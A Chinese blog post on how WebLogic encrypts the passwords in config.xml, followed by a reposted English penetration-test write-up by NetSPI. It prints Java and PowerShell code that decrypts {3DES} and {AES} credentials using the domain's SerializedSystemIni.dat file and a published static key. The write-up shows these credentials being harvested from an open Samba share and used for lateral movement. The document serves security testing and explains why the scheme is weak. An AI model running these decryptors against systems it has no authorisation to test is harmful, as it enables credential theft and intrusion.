weblogic密碼加解密
通常在weblogic的config.xml檔案中,對於關鍵字串、密碼會自動加密,例如資料庫JDBC連線池連線密碼等。通常加密之後前面會加上{3DES}的標識。 3DES就是DES演算法的增強,相關資料如下: 1、DES(Data Encryption Standard)是一種經典的對稱演算法。其資料分組長度為64位,使用的金鑰為64位,有效金鑰長度為56位(有8位用於奇偶校驗)。它由IBM公司在70年代開發,經過政府的加密標準篩選後,於1976年11月被美國政府採用,隨後被美國國家標準局和美國國家標準協會(American National Standard Institute, ANSI) 承認。 該技術演算法公開,在各行業有著廣泛的應用。DES演算法從公佈到現在已有20多年的歷史,由於計算機能力的飛速發展,DES的56位金鑰長度顯得有些太短了,已經有可能通過窮舉的 方法來對其進行攻擊。但是除此以外,直到現在還沒有發現窮舉以外的能有效破譯DES的方法。 2、DES演算法現在已經不能提供足夠的安全性,因為其有效金鑰只有56位。因此,後來又提出了三重DES(或稱3DES),該方法的強度大約和112位元的金鑰強度相當。 這種方法用兩個金鑰對明文進行三次運算。設兩個金鑰是K1和K2,其演算法的步驟如圖3所示: 1. 用金鑰K1進行DES加密。 2. 用K2對步驟1的結果進行DES解密。 3. 用步驟2的結果使用金鑰K1進行DES加密。 首先需要找到加密的金鑰,根據BEA文件可以發現是檔案SerializedSystemIni.dat,查詢一下安裝目錄就可以找到整個問見,通常系統管理員應該將該檔案設定為不能直接訪問,以提高安全性。 加密、解密的大致演示演算法程式碼如下,在WebLogic 9.2下面除錯通過,。對於低版本的WebLogic,例如WebLogic 7.0/8.1可能不能直接在命令列執行,因為SerializedSystemIni必須在控制檯Console環境下面才能呼叫。需要用到weblogic.jar和webservices.jar這2個jar包。9.X版本的在安裝目錄下的weblogic92/server/lib下,10.X的版本在wlserver_10.3/server/lib下。SerializedSystemIni.dat檔案在本域的security目錄下。 加解密程式碼如下:
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.EncryptionService;
import weblogic.utils.encoders.BASE64Decoder;
import weblogic.utils.encoders.BASE64Encoder;
public class CrackData
{
public static void main(String[] args)
{
byte[] salt,keys;
salt=SerializedSystemIni.getSalt ();
keys=SerializedSystemIni.getEncryptedSecretKey();
String data="";
for(int i=0;i<salt.length;i++){
data+=salt[i]+",";
}
System.out.println("salt:"+data);
data="";
for(int i=0;i<keys.length;i++){
data+=keys[i]+",";
}
System.out.println("Key:"+data);
//EncryptionService svr=SerializedSystemIni.getExistingEncryptionService();
EncryptionService svr=SerializedSystemIni.getEncryptionService();
System.out.println(svr);
System.out.println(svr.getAlgorithm());
if(args.length>1){
if(args[0].equals("encrypt")){
byte[] edata=svr.encryptString(args[1]);
String s = (new BASE64Encoder()).encodeBuffer(edata);
System.out.println("Encode:"+s);
}
if(args[0].equals("decrypt")){
try{
byte[] edata = (new BASE64Decoder()).decodeBuffer(args[1]);
String txt=svr.decryptString(edata);
System.out.println("Decode:"+txt);
}catch(Exception ex){
ex.printStackTrace();
}
}
}
}
}
設定環境變數:
set classpath=.;D:\beainstall\weblogic92\server\lib\weblogic.jar;D:\beainstall\weblogic92\server\lib\webservices.jar
或者直接
javac -classpath .;D:\beainstall\weblogic92\server\lib\weblogic.jar;D:\beainstall\weblogic92\server\lib\webservices.jar CrackData.java
設定環境變數比較簡潔些。
加密:
java -classpath .;D:\beainstall\weblogic92\server\lib\weblogic.jar;D:\beainstall\weblogic92\server\lib\webservices.jar CrackData encrypt weblogic
salt:-42,33,43,65,
Key:-57,110,44,88,-16,-53,-83,35,-4,-31,-1,100,-112,42,33,-76,-77,-37,76,-35,-66
,-85,-120,93,110,42,-108,-65,-46,40,-112,55,
weblogic.security.internal.encryption.JSafeEncryptionServiceImpl@fb34e70
3DES
Encode:S3uUHeLlkLECCGYMYJnuFA==
解密:
java -classpath .;D:\beainstall\weblogic92\server\lib\weblogic.jar;D:\be
ainstall\weblogic92\server\lib\webservices.jar CrackData decrypt S3uUHeLlkLECCGY
MYJnuFA==
salt:-42,33,43,65,
Key:-57,110,44,88,-16,-53,-83,35,-4,-31,-1,100,-112,42,33,-76,-77,-37,76,-35,-66
,-85,-120,93,110,42,-108,-65,-46,40,-112,55,
weblogic.security.internal.encryption.JSafeEncryptionServiceImpl@fb34ea8
3DES
Decode:weblogic
注意:需要將本域的security目錄下SerializedSystemIni.dat檔案拷貝到CrackData.class同目錄下的security目錄下方可。
部分內容參考網路。
這篇博文講述的很清楚:https://blog.netspi.com/decrypting-weblogic-passwords/
翻譯:http://bobao.360.cn/learning/detail/337.html
將上述部落格內容轉過來:
The following blog walks through part of a recent penetration test and the the decryption process for WebLogic passwords that came out of it. Using these passwords I was able to escalate onto other systems and Oracle databases. If you just want code and examples to perform this yourself, head here: https://github.com/NetSPI/WebLogicPasswordDecryptor.
Introduction
Recently on an internal penetration test I came across a couple of Linux servers with publicly accessible Samba shares. Often times, open shares contain something interesting. Whether it be user credentials or sensitive information, and depending on the client, open shares will contain something useful. In this instance, one of the shares contained a directory named “wls1035”. Going through the various acronyms in my head for software, this could either be Windows Live Spaces or WebLogic Server. Luckily it was the later and not Microsoft’s failed blogging platform.
WebLogic is an application server from Oracle for serving up enterprise Java applications. I was somewhat familiar with it, as I do see it time to time in enterprise environments, but I’ve never actually installed it or taken a look at its file structure. At this point I started to poke around the files to see if I could find anything useful, such as credentials. Doing a simple grep search for “password” revealed a whole lot of information. (This is not actual client data)
user@box:~/wls1035# grep -R "password" *
Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches
oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom: <!-- and password for your server here. -->
user_projects/domains/mydomain/bin/startManagedWebLogic.sh:# to your system password for no username and password prompt
user_projects/domains/mydomain/bin/stopManagedWebLogic.sh:# WLS_PW - cleartext password for server shutdown
user_projects/domains/mydomain/bin/stopWebLogic.sh: if [ "${password}" != "" ] ; then
user_projects/domains/mydomain/bin/stopWebLogic.sh: wlsPassword="${password}"
user_projects/domains/mydomain/bin/stopWebLogic.sh:echo "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" >>"shutdown-${SERVER_NAME}.py"
user_projects/domains/mydomain/bin/startWebLogic.sh: JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.management.password=${WLS_PW}"
user_projects/domains/mydomain/bin/startWebLogic.sh:echo "* password assigned to an admin-level user. For *"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: if [ -n "$username" -a -n "$password" ]; then
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: print_info "Investigating username: '$username' and password: '$password'"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: echo "password=$password" >>"$NMBootFile.tmp"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: unset username password
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: echo "password=$Password" >>"$NMBootFile.tmp"
user_projects/domains/mydomain/init-info/config-nodemanager.xml: <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password>
user_projects/domains/mydomain/init-info/security.xml: <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">
There weren’t any cleartext passwords, but there were encrypted ones in the same style as this:
{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=
I then narrowed down my search to see if I could find more of these passwords. This was the result:
user@box:~/wls1035# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml: <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password>
user_projects/domains/mydomain/init-info/security.xml: <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">
user_projects/domains/mydomain/init-info/security.xml: <user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A=">
user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}/DG7VFmJODIZJoQGmqxU8OQfkZxiKLuHQ69vqYPgxyY=
user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}Bqy44qL0EM4ZqIqxgIRQxXv1lg7PxZ7lI1DLlx7njts=
user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL</credential-encrypted>
user_projects/domains/mydomain/config/config.xml: <node-manager-password-encrypted>{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=</node-manager-password-encrypted>
user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}nS7QvZhdYFLlPamcgwGoPP7eBuS1i2KeFNhF1qmVDjf6Jg6ekiVZOYl+PsqoSf3C</credential-encrypted>
There were a lot of encrypted passwords and that fueled my need to know what they contain. Doing a simple base64 decode didn’t reveal anything, but I didn’t expect it to, based on each string being prepended with {AES}. In older versions of WebLogic the encryption algorithm is 3DES (Triple DES) which has a format similar to this:
{3DES}JMRazF/vClP1WAgy1czd2Q==
This must mean there was a key that was used for encrypting, which means the same key is used for decrypting. To properly test all of this, I needed to install my own WebLogic server.
WebLogic is free from Oracle and is located here. For this blog I am using version 12.1.3. Installing WebLogic can be a chore in and of itself and I won’t be covering it. One take away from the installation is configuring a new domain. This shouldn’t be confused with Windows domain. Quoting the WebLogic documentation, “A domain is the basic administration unit for WebLogic Server instances.” Every domain contains security information. This can be seen in the grep command from above. All the file paths that contain encrypted passwords are within the mydomain directory.
Now that I had my own local WebLogic server installed, it was time to find out how to decrypt the passwords. Some quick googling resulted in a few Python scripts that could do the job. Interestingly enough, WebLogic comes with a scripting tool called WLST (WebLogic Scripting Tool) that allows Python to run WebLogic methods. This includes encryption and decryption methods. We can also run it standalone to just encrypt:
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
wls:/offline> pw = encrypt('password')
wls:/offline> print pw
{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=
To decrypt, I used the following python script from Oracle.
import os
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
def decrypt(agileDomain, encryptedPassword):
agileDomainPath = os.path.abspath(agileDomain)
encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
password = ces.decrypt(encryptedPassword)
print "Plaintext password is:" + password
try:
if len(sys.argv) == 3:
decrypt(sys.argv[1], sys.argv[2])
else:
print "Please input arguments as below"
print " Usage 1: java weblogic.WLST decryptWLSPwd.py "
print " Usage 2: decryptWLSPwd.cmd "
print "Example:"
print " java weblogic.WLST decryptWLSPwd.py C:\Agile\Agile933\agileDomain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
print " decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
except:
print "Exception: ", sys.exc_info()[0]
dumpStack()
raise
To test this script I needed to use an encrypted password from my newly installed WebLogic server. Using the same grep command from above returns the same number of results:
root@kali:~/wls12130# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml: <nod:password>{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ=</nod:password>
user_projects/domains/mydomain/init-info/security.xml: <user name="OracleSystemUser" password="{AES}gTRFf+pONckQsJ55zXOw5JPfcsdNTC0lAURre/3zK0Q=" description="Oracle application software system user.">
user_projects/domains/mydomain/init-info/security.xml: <user name="netspi" password="{AES}Dm/Kp/TkdGwaikv3QD40UBhFQQAVtfbEXEwRjR0RpHc=">
user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}0WDnHP4OC5iVBze+EQ2JKGgtUb8K1mMK8QbtSTgKq+Y=
user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}OGs2ujN70+atq9F70xqXxFQ11CD5mGuxuekNJbRGJqM=
user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}KKGUxV84asQMrbq74ap373LNnzsXbchoJKu8IxecSlZmXCrnBrb+6hr8Z8bOCIHTSKXSl9myvwYQ2cXQ7klCF7wxqlkf0oOHw2VaFdFtlNAY1TuFGmkByRW4xaV2ITSo</credential-encrypted>
user_projects/domains/mydomain/config/config.xml: <node-manager-password-encrypted>{AES}mY78lCyPd5GmgEf7v5qYTQvowjxAo4m8SwRI7rJJktw=</node-manager-password-encrypted>
user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}/0yRcu56nfpxO+aTceqBLf3jyYdYR/j1+t4Dz8ITAcoAfsKQmYgJv1orfpNHugPM</credential-encrypted>
Taking the first encrypted password and throwing it into the Python script did indeed return the cleartext password for my newly created domain:
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST decrypt.py . "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
Plaintext password is:Password1
The only problem is, we had to be attached to WebLogic to get it. I want to be able to decrypt passwords without having to run scripts through WebLogic.
Down the Rabbit Hole
My first steps in figuring out how passwords are both encrypted and decrypted was to look at the Python script we obtained and see what libraries the script is calling. The first thing it does import the following:
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
It then makes the following method calls within the decrypt function:
encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
password = ces.decrypt(encryptedPassword)
The first line takes the path of the domain as a parameter. In our case, the domain path is /root/wls12130/user_projects/domains/mydomain . What the weblogic.security.internal.SerializedSystemIni.getEncryptionService call does next is look for the SerializedSystemIni.dat file within the security directory. The SerializedSystemIni.dat file contains the salt and encryption keys for encrypting and decrypting passwords. It’s read byte-by-byte in a specific order. Here’s a pseudocode version of what’s going on along with an explanation for each line.
file = “SerializedSystemIni.dat”
numberofbytes = file.ReadByte()
salt = file.ReadBytes(byte)
encryptiontype = file.ReadByte()
numberofbytes = file.ReadByte()
encryptionkey = file.ReadBytes(numberofbytes)
if encryptiontype == AES then
numberofbytes = file.ReadByte()
encryptionkey = file.ReadBytes(numberofbytes)
The first thing that happens is the first byte of the file is read. That byte is an integer for the number of bytes in the salt.
2.The salt portion is then read up to the amount of bytes that were specified in the byte variable.
3.The next byte is then read, which is assigned to the encryptiontype variable.
4.Then the next byte is read, which is another integer for how many bytes should be read for the encryptionkey.
5.The bytes for the encryptionkey are read.
6.Now, if the encryptiontype is equal to AES, we go into the if statement block.
7.The next byte is read, which is the number of bytes in the encryptionkey.
8.The bytes for the encryptionkey are read.
As I noted before, WebLogic uses two encryption algorithms depending on the release. These are 3DES and AES. This is where the two encryption keys come into play from above. If 3DES is in use, the first encryption key is used. If AES is used, the second encryption key is used.
After doing a little bit of searching, I figured out that BouncyCastle is the library that is performing all the crypto behind the scenes. The next step is to start implementing the decryption ourselves. We have at least some idea of what is going on under the hood. For now, we will just focus on the AES decryption portion instead of 3DES. I’m not terribly familiar with BouncyCastle or Java crypto implementation, so I did some googling on how to implement AES decryption with it. The result is the following snippet of code:
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec);
byte[] cleartext = outCipher.doFinal(encryptedPassword);
This code is promising, but unfortunately doesn’t work. We don’t know what the IV is and using the encryption key as the SecretKeySpec won’t work because it’s not the correct type. Plus we have this salt that is probably used somewhere. After many hours of digging I figured out that the IV happens to be the first 16 bytes of the base64 decoded ciphertext and the encrypted password is the last 16 bytes. I made an educated guess that the salt is probably part of the PBEParameterSpec, because the first parameter in the documentation for it is a byte array named salt. The encryption key that we have also happens to be encrypted itself. So now we have to decrypt the encryption key and then use that to decrypt the password. I found very few examples of this type of encryption process, but after more time I was finally able to put the following code together:
PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);
Cipher cipher = Cipher.getInstance(algorithm);
cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionkey), "AES");
byte[] iv = new byte[16];
System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
byte[] encryptedPassword2 = new byte[16];
System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec);
byte[] cleartext = outCipher.doFinal(encryptedPassword2);
So now we have a decryption process for the encryption key, but we don’t know the key that decrypts it that or the algorithm that is being used.
I found that WebLogic uses this algorithm PBEWITHSHAAND128BITRC2-CBC and the key that is being used happens to be static across every installation of WebLogic, which is the following:
0xccb97558940b82637c8bec3c770f86fa3a391a56
Now we can fix our code up a bit. Looking through examples of password based encryption in BouncyCastle, this seemed to maybe be right.
SecretKeyFactory keyFact = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");
PBEKeySpec pbeKeySpec = new PBEKeySpec(password,salt,iterations);
SecretKey secretKey = keyFact.generateSecret(pbeKeySpec);
The PBEKeySpec takes a password, salt, and iteration count. The password will be our static key string, but we have to convert it to a char array first. The second is our salt, which we already know. The third is an iteration count, which we do not know. The iteration count happens to be five. I actually just wrote a wrapper around the method and incremented values until I got a successful result.
Here is our final code:
public static String decryptAES(String SerializedSystemIni, String ciphertext) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, IOException {
byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);
byte[] salt = null;
byte[] encryptionKey = null;
String key = "0xccb97558940b82637c8bec3c770f86fa3a391a56";
char password[] = new char[key.length()];
key.getChars(0, password.length, password, 0);
FileInputStream is = new FileInputStream(SerializedSystemIni);
try {
salt = readBytes(is);
int version = is.read();
if (version != -1) {
encryptionKey = readBytes(is);
if (version >= 2) {
encryptionKey = readBytes(is);
}
}
} catch (IOException e) {
}
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");
PBEKeySpec pbeKeySpec = new PBEKeySpec(password, salt, 5);
SecretKey secretKey = keyFactory.generateSecret(pbeKeySpec);
PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);
Cipher cipher = Cipher.getInstance("PBEWITHSHAAND128BITRC2-CBC");
cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionKey), "AES");
byte[] iv = new byte[16];
System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
byte[] encryptedPassword2 = new byte[16];
System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] cleartext = outCipher.doFinal(encryptedPassword2);
return new String(cleartext, "UTF-8");
}
We run this with our SerializedSystemIni.dat file as the first argument and the encrypted password as the second without the prepended {AES}. The result returns our password!
As an exercise, I wanted to do this without having to touch Java ever again. So I decided to try it in PowerShell, everyone’s favorite pentest scripting. BouncyCastle provides a DLL that we can use to perform the decryption. We just have to use reflection within the PowerShell code to call the methods. The result is the following PowerShell code:
<#
Author: Eric Gruber 2015, NetSPI
.Synopsis
PowerShell script to decrypt WebLogic passwords
.EXAMPLE
Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:\SerializedSystemIni.dat -CipherText "{3DES}JMRazF/vClP1WAgy1czd2Q=="
.EXAMPLE
Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:\SerializedSystemIni.dat -CipherText "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug="
#>
function Invoke-WebLogicPasswordDecryptor
{
[CmdletBinding()]
Param
(
[Parameter(Mandatory = $true,
Position = 0)]
[String]
$SerializedSystemIni,
[Parameter(Mandatory = $true,
Position = 0)]
[String]
$CipherText,
[Parameter(Mandatory = $false,
Position = 0)]
[String]
$BouncyCastle
)
if (!$BouncyCastle)
{
$BouncyCastle = '.\BouncyCastle.Crypto.dll'
}
Add-Type -Path $BouncyCastle
$Pass = '0xccb97558940b82637c8bec3c770f86fa3a391a56'
$Pass = $Pass.ToCharArray()
if ($CipherText.StartsWith('{AES}'))
{
$CipherText = $CipherText.TrimStart('{AES}')
}
elseif ($CipherText.StartsWith('{3DES}'))
{
$CipherText = $CipherText.TrimStart('{3DES}')
}
$DecodedCipherText = [System.Convert]::FromBase64String($CipherText)
$BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList ([System.IO.File]::Open($SerializedSystemIni, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite))
$NumberOfBytes = $BinaryReader.ReadByte()
$Salt = $BinaryReader.ReadBytes($NumberOfBytes)
$Version = $BinaryReader.ReadByte()
$NumberOfBytes = $BinaryReader.ReadByte()
$EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)
if ($Version -ge 2)
{
$NumberOfBytes = $BinaryReader.ReadByte()
$EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)
$ClearText = Decrypt-AES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
}
else
{
$ClearText = Decrypt-3DES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
}
Write-Host "Password:" $ClearText
}
function Decrypt-AES
{
param
(
[byte[]]
$Salt,
[byte[]]
$EncryptionKey,
[char[]]
$Pass,
[byte[]]
$DecodedCipherText
)
$EncryptionCipher = 'AES/CBC/PKCS5Padding'
$EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'
$IV = New-Object -TypeName byte[] -ArgumentList 16
[array]::Copy($DecodedCipherText,0,$IV, 0 ,16)
$CipherText = New-Object -TypeName byte[] -ArgumentList ($DecodedCipherText.Length - 16)
[array]::Copy($DecodedCipherText,16,$CipherText,0,($DecodedCipherText.Length - 16))
$AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)
$CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)
$KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
$KeyCipher.Init($false, $CipherParameters)
$Key = $KeyCipher.DoFinal($EncryptionKey)
$Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
$KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
$ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)
$Cipher.Init($false, $ParametersWithIV)
$ClearText = $Cipher.DoFinal($CipherText)
[System.Text.Encoding]::ASCII.GetString($ClearText)
}
function Decrypt-3DES
{
param
(
[byte[]]
$Salt,
[byte[]]
$EncryptionKey,
[char[]]
$Pass,
[byte[]]
$DecodedCipherText
)
$EncryptionCipher = 'DESEDE/CBC/PKCS5Padding'
$EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'
$IV = New-Object -TypeName byte[] -ArgumentList 8
[array]::Copy($Salt,0,$IV, 0 ,4)
[array]::Copy($Salt,0,$IV, 4 ,4)
$AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)
$CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)
$KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
$KeyCipher.Init($false, $CipherParameters)
$Key = $KeyCipher.DoFinal($EncryptionKey)
$Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
$KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
$ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)
$Cipher.Init($false, $ParametersWithIV)
$ClearText = $Cipher.DoFinal($DecodedCipherText)
[System.Text.Encoding]::ASCII.GetString($ClearText)
}
Export-ModuleMember -Function Invoke-WebLogicPasswordDecryptor
I also added the ability to decrypt 3DES for older versions of WebLogic. Here’s the result:
PS C:\> Import-Module .\Invoke-WebLogicDecrypt.psm1
PS C:\> Invoke-WebLogicDecrypt -SerializedSystemIni "C:\SerializedSystemIni.dat" -CipherText "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="
Password1
Speaking of 3DES, if you do have a newer version of WebLogic that uses AES, you can change it back to 3DES by modifying the SerializedSystemIni.dat file. A newer one will have 02 set for the 6th byte:
Which outputs the following in WLST
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
wls:/offline> pw = encrypt('password')
wls:/offline> print pw
{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=
Changing it to 01 will enable 3DES:
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
wls:/offline> pw = encrypt("Password1")
wls:/offline> print pw
{3DES}vNxF1kIDgtydLoj5offYBQ==
Conclusion
The penetration test revealed three big issues. The use of a static key for encryption, installing WebLogic on an SMB share, and allowing anonymous users read access to the share. The static key is something that users don’t control. I downloaded several versions of WebLogic and this is static across all of them. So if you have access to the SerializedSystemIni.dat file and have some encrypted passwords, it’s possible to decrypt them all, Muahaha!!! This all depends on whether or not you have access to the WebLogic installation directory. This leads to the next issue which is installing applications in a share. Installing any application in a share is risky in itself, but not securing that share can lead to catastrophic consequences. In the penetration test, after copying down the SerializedSystemIni.dat, I could now decrypt all the encrypted passwords from my initial grep. These were local user passwords and Oracle database passwords. Everything you need for lateral movement within an environment, all from anonymous access to a share.